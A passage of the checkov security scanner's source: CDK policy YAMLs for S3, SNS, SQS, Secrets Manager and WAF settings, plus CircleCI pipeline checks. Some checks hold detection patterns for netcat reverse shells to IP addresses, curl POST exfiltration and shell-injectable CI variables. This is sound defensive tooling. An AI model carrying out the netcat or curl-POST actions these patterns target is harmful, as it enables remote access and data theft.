    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV2_AWS_6\n  name: Ensure that S3 bucket has a Public Access block\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $S3.$FUNC(<ANY>)\n  conditions:\n    - metavariable: $FUNC\n      regex: (?i)(Bucket|CfnBucket)\n    - not_pattern: |\n        new $S3.$FUNC(<ANY>, { <ANY>, blockPublicAccess: <ANY> , <ANY> } ,<ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/S3BucketVersioning.yaml",
    "content": "metadata:\n  version: 0.2\n  id: CKV_AWS_21\n  name: Ensure all data stored in the S3 bucket have versioning enabled\n  category: BACKUP_AND_RECOVERY\n  framework: cdk\nscope:\n  languages:\n    - javascript\n    - typescript\ndefinition:\n  or:\n    - pattern: new $FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(Bucket|CfnBucket)\n        - not_pattern: |\n            'new $FUNC(<ANY>, versioned: true ,<ANY>)'\n    - pattern: new $S3.$FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(Bucket|CfnBucket)\n        - not_pattern: |\n            'new $S3.$FUNC(<ANY>, versioned: true ,<ANY>)'\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/S3PublicACLRead.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_20\n  name: Ensure the S3 bucket does not allow READ permissions to everyone\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: |\n        new $AWS.Bucket(<ANY>, {<ANY>, accessControl: $ARG, <ANY>}, <ANY> )\n      conditions:\n        or:\n          - metavariable: $ARG\n            pattern: $AWS.BucketAccessControl.PUBLIC_READ\n          - metavariable: $ARG\n            pattern: $AWS.BucketAccessControl.PUBLIC_READ_WRITE\n    -  pattern: |\n          new $AWS.Bucket(<ANY>, { <ANY>, publicReadAccess: true, <ANY>}, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/S3RestrictPublicBuckets.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_56\n  name: Ensure S3 bucket has 'restrict_public_buckets' enabled\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $AWS.Bucket(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.Bucket(<ANY>, { <ANY>, blockPublicAccess: s3.BlockPublicAccess.BLOCK_ALL, <ANY> } ,<ANY>)\n      - pattern: new $AWS.CfnBucket(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnBucket(<ANY>, {<ANY>, publicAccessBlockConfiguration: {<ANY>, restrictPublicBuckets: true ,<ANY>}, <ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/SNSTopicEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_26\n  name: Ensure all data stored in the SNS topic is encrypted\n  category: Encryption\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.Topic(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.Topic(<ANY>, {<ANY>, masterKey: $ARG ,<ANY> }, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/SQSQueueEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_27\n  name: Ensure all data stored in the SQS queue is encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $AWS.Queue(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.Queue(<ANY>, {<ANY>, encryptionMasterKey: $KEY, <ANY>}, <ANY>)\n      - pattern: new $AWS.CfnQueue(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnQueue(<ANY>, {<ANY>, kmsMasterKeyId: $KEY, <ANY>}, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/SecretManagerSecretEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_149\n  name: Ensure that Secrets Manager secret is encrypted using KMS CMK\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $AWS.Secret(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.Secret(<ANY>, {<ANY>, encryptionKey: $KEY ,<ANY>}, <ANY>)\n      - pattern: |\n          new $AWS.Secret(<ANY>, { <ANY>, encryptionKey: $ARG2, <ANY>} , <ANY>)\n        conditions:\n          - metavariable: $ARG2\n            regex: (aws/)"
  },
  {
    "path": "checkov/cdk/checks/typescript/SecurityGroupRuleDescription.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_23\n  name: Ensure every security groups rule has a description\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: |\n          new $AWS.CfnSecurityGroup(<ANY>, {<ANY>, securityGroupEgress: [<ANY>] ,<ANY>}, <ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnSecurityGroup(<ANY>, {<ANY>, securityGroupEgress: [<ANY>, {<ANY>,description: 'True',<ANY> }, <ANY>] ,<ANY>}, <ANY>)\n      - pattern: |\n          new $AWS.CfnSecurityGroup(<ANY>, {<ANY>, securityGroupIngress: [<ANY>] ,<ANY>}, <ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnSecurityGroup(<ANY>, {<ANY>, securityGroupIngress: [<ANY>, {<ANY>,description: 'True', <ANY>}, <ANY>] ,<ANY>}, <ANY>)\n      - pattern: new $AWS.CfnSecurityGroupIngress(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnSecurityGroupIngress(<ANY>, {<ANY>, description: $ARG, <ANY>} ,<ANY>)\n      - pattern: new $AWS.CfnSecurityGroupEgress(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnSecurityGroupEgress(<ANY>, {<ANY>, description: $ARG, <ANY>} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/TransferServerIsPublic.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_164\n  name: Ensure Transfer Server is not exposed publicly.\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnServer(<ANY>)\n  conditions:\n    - not_pattern: |\n          new $AWS.CfnServer(<ANY>, {<ANY>, endpointType: 'VPC', <ANY>}, <ANY>)\n    - not_pattern: |\n        new $AWS.CfnServer(<ANY>, {<ANY>, endpointType: 'VPC_ENDPOINT', <ANY>}, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/VPCEndpointAcceptanceConfigured.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_123\n  name: Ensure that VPC Endpoint Service is configured for Manual Acceptance\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnVPCEndpointService(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnVPCEndpointService(<ANY>, {<ANY>, acceptanceRequired: true, <ANY>} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/WAFEnabled.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_68\n  name: CloudFront Distribution should have WAF enabled\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnDistribution(<ANY>)\n  conditions:\n    - not_pattern: |\n          new $AWS.CfnDistribution(<ANY>, {<ANY>, distributionConfig: {<ANY>, webAclId: $ARG, <ANY>}, <ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/WorkspaceRootVolumeEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_156\n  name: Ensure that Workspace root volumes are encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnWorkspace(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnWorkspace(<ANY>, {<ANY>, rootVolumeEncryptionEnabled: true, <ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/WorkspaceUserVolumeEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_155\n  name: Ensure that Workspace user volumes are encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnWorkspace(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnWorkspace(<ANY>, {<ANY>, userVolumeEncryptionEnabled: true, <ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks_infra/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cdk/checks_infra/base_registry.py",
    "content": "from __future__ import annotations\n\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.sast.checks_infra.base_registry import Registry\n\n\nclass BaseCdkRegistry(Registry):\n    def __init__(self, checks_dir: str) -> None:\n        super().__init__(checks_dir=checks_dir)\n        self.report_type = CheckType.CDK\n"
  },
  {
    "path": "checkov/cdk/report.py",
    "content": "from typing import Dict, Union, List, Optional\n\nfrom checkov.common.output.report import Report\nfrom checkov.common.sast.consts import POLICIES_ERRORS, POLICIES_ERRORS_COUNT, SOURCE_FILES_COUNT, POLICY_COUNT, SastLanguages\nfrom checkov.common.sast.report_types import PrismaReport\n\n\nclass CDKReport(Report):\n    def __init__(self, check_type: str, metadata: Dict[str, Optional[Union[str, int, List[str]]]], language: SastLanguages, cdk_report: PrismaReport):\n        super().__init__(check_type)\n        self.metadata = metadata\n        self.language: SastLanguages = language\n        self.cdk_report: PrismaReport = cdk_report\n        # In case we dont have sast report for this lang\n        self.empty_sast_report: PrismaReport = PrismaReport(rule_match={language: {}}, profiler={}, errors={}, run_metadata={}, imports={}, reachability_report={}, skipped_checks_by_file={})\n\n    def get_summary(self) -> Dict[str, Union[int, str]]:\n        base_summary: Dict[str, Union[int, str]] = super().get_summary()\n\n        err_str = \"\"\n        policies_errors_count = 0\n        policies_errors = self.metadata.get(POLICIES_ERRORS)\n        if isinstance(policies_errors, list) and policies_errors:\n            policies_errors_count = len(policies_errors)\n            for e in policies_errors:\n                err_str += f\"\\t- {e}\\n\"\n        base_summary[POLICIES_ERRORS] = err_str\n        base_summary[POLICIES_ERRORS_COUNT] = policies_errors_count\n        source_files_count = self.metadata.get(SOURCE_FILES_COUNT)\n        if isinstance(source_files_count, int) or isinstance(source_files_count, str):\n            base_summary[SOURCE_FILES_COUNT] = str(source_files_count)\n\n        policy_count = self.metadata.get(POLICY_COUNT)\n        if isinstance(policy_count, int) or isinstance(policy_count, str):\n            base_summary[POLICY_COUNT] = policy_count\n\n        return base_summary\n"
  },
  {
    "path": "checkov/cdk/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom pathlib import Path\n\nfrom checkov.cdk.checks_infra.base_registry import BaseCdkRegistry\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.output.report import Report\nfrom checkov.common.sast.consts import CDKLanguages\nfrom checkov.sast.runner import Runner as SastRunner\nfrom checkov.runner_filter import RunnerFilter\n\nlogger = logging.getLogger(__name__)\n\nCHECKS_DIR_PATH = Path(__file__).parent / \"checks\"\n\n\nclass CdkRunner(SastRunner):\n    check_type = CheckType.CDK  # noqa: CCE003  # a static attribute\n\n    def __init__(self,) -> None:\n        super().__init__()\n        self.registry = BaseCdkRegistry(checks_dir=str(CHECKS_DIR_PATH))\n\n    def run(\n        self,\n        root_folder: str | None = None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True,\n    ) -> list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        runner_filter.remove_default_sast_policies = True\n\n        for lang in CDKLanguages.set():\n            self.cdk_langs.append(lang)\n\n        reports = super().run(\n            root_folder=root_folder,\n            external_checks_dir=external_checks_dir,\n            files=files,\n            runner_filter=runner_filter,\n            collect_skip_comments=collect_skip_comments,\n        )\n\n        reports_to_keep = []\n        for report in reports:\n            if report.check_type.startswith('cdk'):\n                reports_to_keep.append(report)\n\n        return reports_to_keep\n"
  },
  {
    "path": "checkov/circleci_pipelines/__init__.py",
    "content": "from checkov.circleci_pipelines.checks import *  # noqa\n"
  },
  {
    "path": "checkov/circleci_pipelines/base_circleci_pipelines_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import Iterable, TYPE_CHECKING, Any\nfrom checkov.common.checks.base_check import BaseCheck\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.circleci_pipelines.registry import registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckResult\n\n\nclass BaseCircleCIPipelinesCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        supported_entities: Iterable[str],\n        block_type: str,\n        path: str | None = None,\n    ) -> None:\n        categories = [CheckCategories.SUPPLY_CHAIN]\n\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n        self.path = path\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        self.entity_type = entity_type\n\n        return self.scan_conf(conf)\n\n    @abstractmethod\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        pass\n"
  },
  {
    "path": "checkov/circleci_pipelines/checks/DetectImagesUsage.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nfrom checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass DetectImageUsage(BaseCircleCIPipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Detecting image usages in circleci pipelines\"\n        id = \"CKV_CIRCLECIPIPELINES_8\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=(\n                \"executors.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}\",\n                \"jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}\",\n            )\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        return CheckResult.PASSED, conf\n\n\ncheck = DetectImageUsage()\n"
  },
  {
    "path": "checkov/circleci_pipelines/checks/ReverseShellNetcat.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nfrom checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.yaml_doc.enums import BlockType\nimport re\n\nNETCAT_PATTERN = re.compile(r\"(nc|netcat) (\\d{1,3}).(\\d{1,3}).(\\d{1,3}).(\\d{1,3})\")\n\n\nclass ReverseShellNetcat(BaseCircleCIPipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Suspicious use of netcat with IP address\"\n        id = \"CKV_CIRCLECIPIPELINES_5\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=['jobs.*.steps[]']\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.UNKNOWN, conf\n        if \"run\" not in conf:\n            return CheckResult.PASSED, conf\n        run = conf.get(\"run\", \"\")\n        if isinstance(run, dict):\n            command = run.get(\"command\", \"\")\n            if re.search(NETCAT_PATTERN, command):\n                return CheckResult.FAILED, conf\n        else:\n            if re.search(NETCAT_PATTERN, run):\n                return CheckResult.FAILED, conf\n\n        return CheckResult.PASSED, conf\n\n\ncheck = ReverseShellNetcat()\n"
  },
  {
    "path": "checkov/circleci_pipelines/checks/ShellInjection.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nfrom checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck\nfrom checkov.circleci_pipelines.common.shell_injection_list import terms as bad_inputs\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.yaml_doc.enums import BlockType\nimport re\n\n\nclass DontAllowShellInjection(BaseCircleCIPipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Ensure run commands are not vulnerable to shell injection\"\n        id = \"CKV_CIRCLECIPIPELINES_6\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=['jobs.*.steps[]']\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.UNKNOWN, conf\n        if \"run\" not in conf:\n            return CheckResult.PASSED, conf\n        run = conf.get(\"run\", \"\")\n        if isinstance(run, dict):\n            command = run.get(\"command\", \"\")\n            for term in bad_inputs:\n                if re.search(term, command):\n                    return CheckResult.FAILED, conf\n\n        else:\n            for term in bad_inputs:\n                if re.search(term, run):\n                    return CheckResult.FAILED, conf\n\n        return CheckResult.PASSED, conf\n\n\ncheck = DontAllowShellInjection()\n"
  },
  {
    "path": "checkov/circleci_pipelines/checks/SuspectCurlInScript.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nfrom checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass SuspectCurlInScript(BaseCircleCIPipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Suspicious use of curl in run task\"\n        id = \"CKV_CIRCLECIPIPELINES_7\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=('jobs.*.steps[]',)\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.UNKNOWN, conf\n        if \"run\" not in conf:\n            return CheckResult.PASSED, conf\n        run = conf.get(\"run\", \"\")\n        if isinstance(run, dict):\n            run = run.get(\"command\", \"\")\n        if \"curl\" in run:\n            badstuff = ['curl', 'POST']\n            lines = run.split(\"\\n\")\n            for line in lines:\n                if all(x in line for x in badstuff):\n                    return CheckResult.FAILED, conf\n        return CheckResult.PASSED, conf\n\n\ncheck = SuspectCurlInScript()\n"
  },
  {
    "path": "checkov/circleci_pipelines/checks/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/circleci_pipelines/checks/image_version_not_hash.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nfrom checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass ImageReferenceHashVersion(BaseCircleCIPipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Ensure the pipeline image version is referenced via hash not arbitrary tag.\"\n        id = \"CKV_CIRCLECIPIPELINES_2\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=('jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}',)\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.PASSED, conf\n        image = conf.get(\"image\", None)\n        if not image:\n            return CheckResult.PASSED, conf\n        if isinstance(image, str):\n            if \"@\" in image:\n                return CheckResult.PASSED, conf\n            if \"latest\" in image:\n                return CheckResult.UNKNOWN, conf\n                # We UNKNOWN on \"latest\" as we have a specific check with a more informative violation description.\n                # See CKV_CIRCLECIPIPELINES_1\n\n        return CheckResult.FAILED, conf\n\n\ncheck = ImageReferenceHashVersion()\n"
  },
  {
    "path": "checkov/circleci_pipelines/checks/latest_image.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nfrom checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass ImageReferenceLatestTag(BaseCircleCIPipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Ensure the pipeline image uses a non latest version tag\"\n        id = \"CKV_CIRCLECIPIPELINES_1\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=('jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}',)\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.PASSED, conf\n        image = conf.get(\"image\", None)\n        if not image:\n            return CheckResult.PASSED, conf\n        if isinstance(image, str):\n            if image.endswith(\":latest\"):\n                return CheckResult.FAILED, conf\n\n        return CheckResult.PASSED, conf\n\n\ncheck = ImageReferenceLatestTag()\n"
  },
  {
    "path": "checkov/circleci_pipelines/checks/prevent_development_orbs.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nfrom checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass PreventDevelopmentOrbs(BaseCircleCIPipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Ensure mutable development orbs are not used.\"\n        id = \"CKV_CIRCLECIPIPELINES_3\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=(\"orbs.{orbs: @}\",)\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        for orb in conf.values():\n            if isinstance(orb, str):\n                # Special __ vars show up in this dict too.\n                if \"@dev\" in orb:\n                    # We only get one return per orb: section, regardless of how many orbs, so set a flag and error later.\n                    # Potentially more JMEpath reflection-foo can resolve this so we end up with a call to scan_entity_conf per orb.\n                    return CheckResult.FAILED, conf\n\n        return CheckResult.PASSED, conf\n\n\ncheck = PreventDevelopmentOrbs()\n"
  },
  {
    "path": "checkov/circleci_pipelines/checks/prevent_volatile_orbs.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nfrom checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass PreventVolatileOrbs(BaseCircleCIPipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Ensure unversioned volatile orbs are not used.\"\n        id = \"CKV_CIRCLECIPIPELINES_4\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=(\"orbs.{orbs: @}\",)\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        for orb in conf.values():\n            if isinstance(orb, str):\n                # Special __ vars show up in this dict too.\n                if \"@volitile\" in orb:\n                    # We only get one return per orb: section, regardless of how many orbs.\n                    # Potentially more JMEpath reflection-foo can resolve this so we end up with a call to scan_entity_conf per orb.\n                    return CheckResult.FAILED, conf\n\n        return CheckResult.PASSED, conf\n\n\ncheck = PreventVolatileOrbs()\n"
  },
  {
    "path": "checkov/circleci_pipelines/common/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/circleci_pipelines/common/shell_injection_list.py",
    "content": "# flake8: noqa\nterms = [\n    r\"\\$*CIRCLE_PR_REPONAME*\",\n    r\"\\$*CIRCLE_PR_USERNAME*\",\n    r\"\\$*CIRCLE_PULL_REQUESTS*\",\n    r\"\\$*CIRCLE_TAG*\",\n    r\"\\$*CIRCLE_BRANCH*\"\n]\n"
  },
  {
    "path": "checkov/circleci_pipelines/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.yaml_doc.base_registry import Registry\n\nregistry = Registry(report_type=CheckType.CIRCLECI_PIPELINES)\n"
  },
  {
    "path": "checkov/circleci_pipelines/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom typing import TYPE_CHECKING, Any, Iterable\n\nfrom checkov.circleci_pipelines.registry import registry\nfrom checkov.common.output.report import CheckType, Report\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.yaml_doc.runner import Runner as YamlRunner\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n\nWORKFLOW_DIRECTORY = \"circleci\"\n\n\nclass Runner(YamlRunner):\n    check_type = CheckType.CIRCLECI_PIPELINES  # noqa: CCE003  # a static attribute\n\n    def require_external_checks(self) -> bool:\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        return registry\n\n    def included_paths(self) -> list[str]:\n        return [\".circleci\"]\n\n    @staticmethod\n    def _parse_file(\n        f: str, file_content: str | None = None\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        if Runner.is_workflow_file(f):\n            return YamlRunner._parse_file(f)\n\n        return None\n\n    @staticmethod\n    def is_workflow_file(file_path: str) -> bool:\n        \"\"\"\n        :return: True if the file mentioned is named config.yml/yaml in .circleci dir from included_paths(). Otherwise: False\n        \"\"\"\n        abspath = os.path.abspath(file_path)\n        return WORKFLOW_DIRECTORY in abspath and abspath.endswith((\"config.yml\", \"config.yaml\"))\n\n    def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str],\n                     start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str:\n        \"\"\"\n        supported resources for circleCI:\n            jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}\n            jobs.*.steps[]\n            orbs.{orbs: @}\n        \"\"\"\n        if len(list(supported_entities)) > 1:\n            logging.debug(\"order of entities might cause extracting the wrong key for resource_id\")\n        new_key = key\n        definition = self.definitions.get(file_path, {})\n        if not definition or not isinstance(definition, dict):\n            return new_key\n        if 'orbs.{orbs: @}' in supported_entities:\n            new_key = \"orbs\"\n        elif 'jobs.*.steps[]' in supported_entities:\n            job_name = self.resolve_sub_name(definition, start_line, end_line, tag='jobs')\n            step_name = self.resolve_step_name(definition['jobs'].get(job_name), start_line, end_line)\n            new_key = f'jobs({job_name}).steps{step_name}' if job_name else \"jobs\"\n        elif 'jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}' in supported_entities:\n            job_name = self.resolve_sub_name(definition, start_line, end_line, tag='jobs')\n            image_name = self.resolve_image_name(definition['jobs'].get(job_name), start_line, end_line)\n            new_key = f'jobs({job_name}).docker.image{image_name}' if job_name else \"jobs\"\n        elif 'executors.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}':\n            executor_name = self.resolve_sub_name(definition, start_line, end_line, tag='executors')\n            image_name = self.resolve_image_name(definition['executors'].get(executor_name), start_line, end_line)\n            new_key = f'executors({executor_name}).docker.image{image_name}' if executor_name else \"executors\"\n        return new_key\n\n    def run(\n            self,\n            root_folder: str | None = None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        report = super().run(root_folder=root_folder, external_checks_dir=external_checks_dir,\n                             files=files, runner_filter=runner_filter, collect_skip_comments=collect_skip_comments)\n        return report\n"
  },
  {
    "path": "checkov/cloudformation/__init__.py",
    "content": "from checkov.cloudformation.checks.resource.aws import *  # noqa\n"
  },
  {
    "path": "checkov/cloudformation/cfn_utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom typing import Optional, List, Tuple, Dict, Any, Callable\n\nimport dpath\n\nfrom checkov.cloudformation.checks.resource.base_registry import Registry\nfrom checkov.cloudformation.checks.resource.registry import cfn_registry\nfrom checkov.cloudformation.context_parser import ContextParser, ENDLINE, STARTLINE\nfrom checkov.cloudformation.parser import parse, TemplateSections\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.parsers.node import DictNode, StrNode\nfrom checkov.common.runners.base_runner import filter_ignored_paths\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.models.consts import YAML_COMMENT_MARK\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\nCF_POSSIBLE_ENDINGS = frozenset((\".yml\", \".yaml\", \".json\", \".template\"))\nTAG_FIELD_NAMES = (\"Key\", \"Value\")\n\n\ndef get_resource_tags(entity: dict[str, dict[str, Any]], registry: Registry = cfn_registry) -> Optional[Dict[str, str]]:\n    entity_details = registry.extract_entity_details(entity)\n\n    if not entity_details:\n        return None\n\n    entity_config = entity_details[-1]\n\n    if not isinstance(entity_config, dict):\n        return None\n\n    try:\n        properties = entity_config.get(\"Properties\")\n        if properties:\n            tags = properties.get(\"Tags\")\n            if tags:\n                return parse_entity_tags(tags)\n    except Exception:\n        logging.warning(f\"Failed to parse tags for entity {entity}\")\n\n    return None\n\n\ndef parse_entity_tags(tags: Any) -> dict[str, str] | None:\n    if isinstance(tags, list):\n        tag_dict = {\n            get_entity_value_as_string(tag[\"Key\"]): 